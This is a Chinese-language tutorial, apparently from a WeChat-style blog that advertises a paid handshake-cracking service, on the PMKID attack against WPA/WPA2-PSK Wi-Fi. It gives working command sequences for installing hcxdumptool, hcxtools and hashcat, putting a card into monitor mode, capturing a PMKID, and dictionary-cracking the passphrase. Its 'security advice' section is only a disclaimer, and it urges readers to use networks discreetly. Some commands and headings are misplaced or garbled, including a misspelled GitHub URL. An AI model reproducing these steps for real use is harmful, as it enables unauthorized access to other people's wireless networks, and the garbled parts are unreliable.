PMKID攻击 无需握手包破解WPA/WPA2 PSK

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

握手包格式转换工具

0x01 引言▸ 2018年8月4日,一位安全研究员在hashcat论坛上发布了一篇帖子,声称在研究WPA3安全性时发现了一种全新的预共享密钥攻击方法。这种方法利用PMKID(Pairwise Master Key Identifier,成对主密钥标识符)来破解WPA/WPA2的预共享密钥,引起了全球的轰动。这种“无客户端攻击”方法的出现意味着暴力破解不再需要活跃客户端的参与,但受影响范围相对较小。

0x02 攻击原理▸1.介绍▸ 在本系列文章的第二篇中,我们介绍了WPA2-PSK破解的原理,其中需要EAPoL四次握手的报文,并通过比较MIC值来判断密钥是否正确。然而,这种方法的最大区别在于,它不需要EAPoL四次握手包就能进行PSK的暴力破解。通过PMKID进行无客户端暴力破解PSK的攻击方式并没有造成特别大的影响,因为它利用了RSN IE(Robust Security Network Information Element)。漏洞的发现者称这种攻击适用于所有支持漫游功能的802.11i/p/q/r网络,而这些特性通常在高级路由器上得到支持。根据360安全研究院的统计,受此漏洞威胁的家庭网络和写字楼中的Wi-Fi网络实际上不到3%。这种攻击被称为“无客户端”攻击,是因为攻击者直接与AP进行通信。

2.RSN▸ RSN IE是强健安全网络信息元素(Robust Security Network Information Element)的简称,RSN要求必须使用AES加密以增强安全性,它是802.11i的一个安全标准。在2004年IEEE 802.11i修订完成后,WiFi联盟推出了WPA2,WPA2的加密从TKIP更新为AES,这是因为RSN的要求。为了增强安全性,IEEE 802.11i为RSN提供了两个重要的协议:四次握手和主密钥握手。WPA/WPA2中的四次握手就是基于802.11i的,值得一提的是,WPA实际上是802.11i的一个草案标准,在802.11i修订成功后,WiFi联盟对其进行了升级并正式推出WPA2,因此WPA也使用了四次握手。

RSN IE的最大长度为255字节,其报文结构如下:

RSN IE是802.11管理帧中的一个可变长度的可选字段,存在于以下类型的帧中:如果想通过wireshark抓包,可以使用以下过滤器来捕获这4种管理帧:

wlan.fc.type == 0 && (wlan.fc.typesubtype == 0x00 wlan.fc.typesubtype == 0x00 wlan.fc.typesubtype == 0x05 wlan.fc.typesubtype == 0x08)

3.PMKID▸ PMKID存在于RSN Information中的RSN Capabilities字段内。该漏洞的发现者在hashcat论坛的原文中贴出了PMKID的wireshark报文截图:

PMKID是通过对PMK等进行哈希计算得到的一个哈希值,其计算公式为:

PMKID = HMAC-SHA1-128(PMK, “PMK Name” MACAP MACSTA)

让我们再次回顾EAPoL四次握手:在完成链路关联后开始四次握手,可以看到,第一个携带EAPoL Key消息的是AP:

git clone https://github.con/ZerBea/hcxtools.git
make
make install

因此,攻击者可以与AP开始四次握手,在四次握手的Message 1中获取所需的数据,然后进行哈希爆破,而不需要其他客户端的参与。

4.IEEE 802.11r▸ 该攻击方法适用于支持漫游的WPA/WPA2-PSK认证的Wi-Fi网络。所谓漫游是一种支持从一个基站快速“无缝”切换到另一个基站的技术。举个例子,假设坐在高铁上打了10分钟的电话,高铁的速度是300km/h,那么这10分钟高铁行走了50公里,一个4G的基站的信号覆盖范围只有几百米,对于50公里肯定切换了很多个基站,但排除信号不好的情况下电话并没有发生卡顿,通话者也毫无感觉,这就是漫游。更多相关知识请参考CCIE Wireless或CWSP认证相关文档。

0x03 攻击实现▸ 环境介绍:1.工具安装▸ 这种攻击需要使用hcxtools/hcxdumptol/hashcat这三个工具。① 安装hcxtools▸

git clone https://github.com/ZerBea/hcxdumptool.git
make
make install
git clone https://github.com/hashcat/hashcat.git
make
make install
airmon-ng start wlan0

② 安装hcxdumptool和paintext③ 安装hashcat。在kali linux下,hashcat是自带的,安装方式如下:

hcxdumptool -o /root/y1ng.pcapng -i wlan0mon --enable_status=1
16:52:59 4 b0febdd69882  10bd18082864 PMKID:b418e4f858c1b0c37662a8d5042014f2 (Cisco_GEM-LOVE.COM)

握手包格式转换工具握手包格式转换工具

使用hcxdumptool捕获PMKID。在最下面可以看到这样的消息,表示成功获取到PMKID:

握手包格式转换工具

3.格式转换▸ 这一步的目的是将刚刚捕获的pccap包转换成hashcat可用的格式,使用hcxpcaptool:

握手包格式转换工具

这个16800可以通过hashcat –help查看帮助,找到对应的hash类型:

16800 WPA-PMKID-PBKDF2 Network Protocols

导出的16800格式的文件每个PMKID占一行,打开文件如下所示:

握手包格式转换工具

用三个星号将其分成四个部分,分别表示:

4.暴力破解▸ 现在可以使用hashcat进行破解了。我使用了一个包含100个密码的字典来演示,其中包含了我的正确密码:

-w, --workload-profile  Num  Enable a specific workload profile, see pool below  -w 3

- [ Workload Profiles ] -

# Performance Runtime Power Consumption Desktop Impact

===+=============+=========+===================+=================
1 Low 2 ms Low Minimal
2 Default 12 ms Economic Noticeable
3 High 96 ms High Unresponsive
4 Nightmare 480 ms Insane Headless

-a, --attack-mode Num Attack-mode, see references below -a 3

- [ Attack Modes ] -

# Mode

===+======
0 Straight
1 Combination
3 Brute-force
6 Hybrid Wordlist + Mask
7 Hybrid Mask + Wordlist

握手包格式转换工具

命令如下:

hashcat -m 16800 y1ng.16800 -a 0 -w 3 pass.txt –force

相关参数的解释:–force是可选参数,用于忽略一些警告。如果出现警告,可以加上该参数。如果破解成功,将获得预共享密钥。

0x04 安全建议▸ 声明:该公众号大部分文章来自作者的学习笔记,也有部分文章经过作者授权和其他公众号白名单转载。未经授权,严禁转载。如需转载,请联系开白。请勿利用文章中的相关技术进行非法测试。如因此产生的任何不良后果与文章作者和本公众号无关。

赞(0)